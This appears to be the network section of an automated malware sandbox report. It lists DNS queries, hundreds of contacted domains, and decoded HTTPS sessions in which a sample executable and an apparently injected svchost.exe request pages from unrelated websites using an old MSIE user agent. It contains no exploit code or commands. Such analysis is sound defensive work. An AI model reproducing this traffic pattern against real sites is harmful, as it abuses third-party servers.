Jul 27, 2023 21:54:41.574700117 CEST	8.8.8.8	192.168.2.4	0x57a0	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.786494017 CEST	8.8.8.8	192.168.2.4	0xb085	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.901236057 CEST	8.8.8.8	192.168.2.4	0x7c17	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.022998095 CEST	8.8.8.8	192.168.2.4	0x132f	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.094846964 CEST	8.8.8.8	192.168.2.4	0xc8e	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.195574045 CEST	8.8.8.8	192.168.2.4	0x6711	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:42.195574045 CEST	8.8.8.8	192.168.2.4	0x6711	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:42.195574045 CEST	8.8.8.8	192.168.2.4	0x6711	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.195574045 CEST	8.8.8.8	192.168.2.4	0x6711	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.205843925 CEST	8.8.8.8	192.168.2.4	0x442c	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.368818998 CEST	8.8.8.8	192.168.2.4	0x27a3	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.456773043 CEST	8.8.8.8	192.168.2.4	0xa9a0	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.523149967 CEST	8.8.8.8	192.168.2.4	0x726	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:42.570837975 CEST	8.8.8.8	192.168.2.4	0x57a0	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.184798002 CEST	8.8.8.8	192.168.2.4	0xc9a9	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.192698956 CEST	8.8.8.8	192.168.2.4	0x83cd	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.292470932 CEST	8.8.8.8	192.168.2.4	0xf40f	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.293813944 CEST	8.8.8.8	192.168.2.4	0xdcc2	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.293813944 CEST	8.8.8.8	192.168.2.4	0xdcc2	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.293813944 CEST	8.8.8.8	192.168.2.4	0xdcc2	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.370150089 CEST	8.8.8.8	192.168.2.4	0x6277	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.370150089 CEST	8.8.8.8	192.168.2.4	0x6277	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.565165997 CEST	8.8.8.8	192.168.2.4	0x94	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.565165997 CEST	8.8.8.8	192.168.2.4	0x94	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.565165997 CEST	8.8.8.8	192.168.2.4	0x94	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.589982986 CEST	8.8.8.8	192.168.2.4	0x57a0	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.613043070 CEST	8.8.8.8	192.168.2.4	0xc78b	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.613043070 CEST	8.8.8.8	192.168.2.4	0xc78b	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.616657972 CEST	8.8.8.8	192.168.2.4	0x153	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.667484999 CEST	8.8.8.8	192.168.2.4	0x73e1	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.769120932 CEST	8.8.8.8	192.168.2.4	0x61d0	No error (0)	603888.com	num6.17986.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:43.769120932 CEST	8.8.8.8	192.168.2.4	0x61d0	No error (0)	num6.17986.net		67.21.93.229	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:43.906644106 CEST	8.8.8.8	192.168.2.4	0xb085	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.085937023 CEST	8.8.8.8	192.168.2.4	0xca4b	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.088542938 CEST	8.8.8.8	192.168.2.4	0x4a10	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.227818012 CEST	8.8.8.8	192.168.2.4	0xab3	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.502402067 CEST	8.8.8.8	192.168.2.4	0x285d	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.502402067 CEST	8.8.8.8	192.168.2.4	0x285d	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.532525063 CEST	8.8.8.8	192.168.2.4	0xd6c8	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.538605928 CEST	8.8.8.8	192.168.2.4	0xbf78	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.580082893 CEST	8.8.8.8	192.168.2.4	0x7155	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.596466064 CEST	8.8.8.8	192.168.2.4	0xec04	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.725756884 CEST	8.8.8.8	192.168.2.4	0x6897	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.825068951 CEST	8.8.8.8	192.168.2.4	0xbed0	No error (0)	cutchie.com		199.59.243.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:44.986543894 CEST	8.8.8.8	192.168.2.4	0x4756	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.000976086 CEST	8.8.8.8	192.168.2.4	0xbd48	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.145159960 CEST	8.8.8.8	192.168.2.4	0xee3f	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.440699100 CEST	8.8.8.8	192.168.2.4	0xd046	No error (0)	dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.440699100 CEST	8.8.8.8	192.168.2.4	0xd046	No error (0)	dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.667459011 CEST	8.8.8.8	192.168.2.4	0x4e08	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.745826006 CEST	8.8.8.8	192.168.2.4	0xb597	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.778318882 CEST	8.8.8.8	192.168.2.4	0x463f	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.811822891 CEST	8.8.8.8	192.168.2.4	0xc192	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.811822891 CEST	8.8.8.8	192.168.2.4	0xc192	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:45.962615967 CEST	8.8.8.8	192.168.2.4	0xaecd	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.070854902 CEST	8.8.8.8	192.168.2.4	0xd6c8	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.118916035 CEST	8.8.8.8	192.168.2.4	0x7da7	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.172590017 CEST	8.8.8.8	192.168.2.4	0x57a0	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.264380932 CEST	8.8.8.8	192.168.2.4	0x7f7	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:46.264380932 CEST	8.8.8.8	192.168.2.4	0x7f7	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

flamingorecordings.com

hyab.se

diamir.de

ldh.la.gov

nts-web.net

orlyhotel.com

hyab.com

www.diamir.de

techtrans.de

clinicasanluis.com.co

pleszew.policja.gov.pl

www.muhr-soehne.de

dataform.co.uk

www.ftchat.com

www.dgmna.com

www.jenco.co.uk

www.quadlock.com

www.pdqhomes.com

www.olras.com

www.baijaku.com

www.pr-park.com

www.wkhk.net

www.rs-ag.com

www.valdal.com

www.alteor.cl

www.item-pr.com

www.elpro.si

www.depalo.com

www.credo.edu.pl

www.tvtools.fi

www.nunomira.com

www.petsfan.com

www.abart.pl

www.otena.com

www.transsib.com

www.vazir.se

www.evcpa.com

www.t-tre.com

www.abdg.com

www.xaicom.es

www.mqs.com.br

www.hummer.hu

www.vexcom.com

www.naoi-a.com

www.ora.ecnet.jp

www.waldi.pl

www.sjbs.org

www.aevga.com

www.cokocoko.com

www.iamdirt.com

www.nelipak.nl

www.stnic.co.uk

www.wifi4all.nl

www.speelhal.net

www.holleman.us

www.maktraxx.com

www.gpthink.com

www.findbc.com

www.fcwcvt.org

www.edimart.hu

www.netcr.com

www.cel-cpa.com

www.c9dd.com

www.mobilnic.net

www.snugpak.com

www.pcgrate.com

www.domon.com

www.fe-bauer.de

www.lrsuk.com

www.pwd.org

www.kernsafe.com

www.pupi.cz

www.fink.com

www.koz1.net

www.nqks.com

www.myropcb.com

www.yoruksut.com

www.medius.si

www.ka-mo-me.com

www.yocinc.org

www.com-sit.com

www.vitaindu.com

www.jchysk.com

www.valselit.com

www.dayvo.com

www.2print.com

www.crcsi.org

www.x0c.com

www.stajum.com

www.ora-ito.com

www.tyrns.com

www.railbook.net

www.spanesi.com

www.tc17.com

www.jacomfg.com

www.fnsds.org

www.pohlfood.com

www.11tochi.net

www.pb-games.com

www.sclover3.com

aiolos-sa.gr

vivastay.com

midap.com

pertex.com

nettle.pl

fogra.com.pl

cbaben.com

cutchie.com

bidroll.com

htsmx.net

assideum.com

alexpope.biz

pers.com

insia.com

dbnet.at

mcseurope.nl

sgk.home.pl

softizer.com

oozkranj.com

zugseil.com

coxkitchensandbaths.com

ncn.de

ramkome.com

kevyt.net

sigtoa.com

kustnara.com

apcotex.com

dhh.la.gov

agulatex.com

rokoron.com

cjborden.com

jnf.at

onzcda.com

sjbmw.com

themark.org

araax.com

nekono.net

biurohera.pl

mikihan.com

78san.com

sledsport.ru

dyag-eng.com

okashimo.com

absblast.com

holp-ai.com

tabbles.net

johnlyon.org

avse.hu

hubbikes.com

sokuwan.net

umcor.am

strazynski.pl

mackusick.de

sinwal.com

mackusick.com

s5w.com

stopllc.com

kayoaiba.com

impexnc.com

indonesiamedia.com

metaforacom.com

ludomemo.com

kewlmail.com

reproar.com

magicomm.co.uk

geecl.com

doggybag.org

msl-lock.com

bible.org

cbras.com

roewer.de

kumaden.com

kamptal.at

web-york.com

snf.it

shztm.ru

biosolve.com

websy.com

ccssinc.com

angework.com

muhr-soehne.de

t-mould.com

ossir.org

bggs.com

cpmteam.com

simetar.com

fifa-ews.com

scintel.com

refintl.org

daytonir.com

kavram.com

listel.co.jp

mijash3.com

shanks.co.uk

calvinly.com

4locals.net

uhsa.edu.ag

gbp-jp.com

sanfotek.net

atbauk.org

cvswl.org

a-domani.com

ludea.cz

orbitgas.com

lyto.net

camamat.com

icd-host.com

atb-lit.com

uster.com

kursavto.ru

e-kami.net

fortknox.bm

tozzhin.com

duiops.net

x96.com

envogen.com

gujarat.com

aoinko.net

paraski.org

shittas.com

ifesnet.com

banvari.com

ikulani.com

mondopp.net

bigzz.by

wolffkran.de

floopis.com

com-edit.fr

yoruksut.com

gydrozo.ru

hazmatt.com

semuk.com

valselit.com

bossinst.com

rkengg.com

wvs-net.de

anduran.com

infotech.pl

cubodown.com

wanoa.com

gbmfg.com

shiner.com

touchfam.ca

bosado.com

riwn.org

dspears.com

ftchat.com

xult.org

burstner.ru

gcss.com

beafin.com

webways.com

koz1.net

aluminox.es

nlcv.bas.bg

acraloc.com

captlfix.com

any-s.net

shesfit.com

deckoviny.cz

yhsll.com

bount.com.tw

pccj.net

dayvo.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	50118	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:34 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-07-27 19:53:34 UTC	0	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:53:34 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "61e91823-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-07-27 19:53:34 UTC	0	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
2023-07-27 19:53:34 UTC	16	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-07-27 19:53:34 UTC	32	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-07-27 19:53:34 UTC	48	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-07-27 19:53:34 UTC	64	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	50138	188.114.96.7	443	C:\Users\user\Desktop\CX17SY6xF6.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:34 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-07-27 19:53:35 UTC	74	IN	HTTP/1.1 302 Found Date: Thu, 27 Jul 2023 19:53:34 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Thu, 27 Jul 2023 20:03:34 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4LRjXs6HURS%2B36bSIP0wEc%2FU3FTkykxYJWPU%2BKvsXkZCbuhgbcyV2Mj0COdHHj6VojKwhXScx2o0ySetdppVt0Xt%2FMOBYt4PN%2BmT%2FvFZjG0pyhpAT4FyES6U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76de93f251959-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:35 UTC	74	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-07-27 19:53:35 UTC	74	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	50212	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	80	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:53:36 UTC	81	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:53:36 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:53:36 UTC	81	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	50215	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	180	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-07-27 19:53:37 UTC	180	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-07-27 19:53:37 UTC	180	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
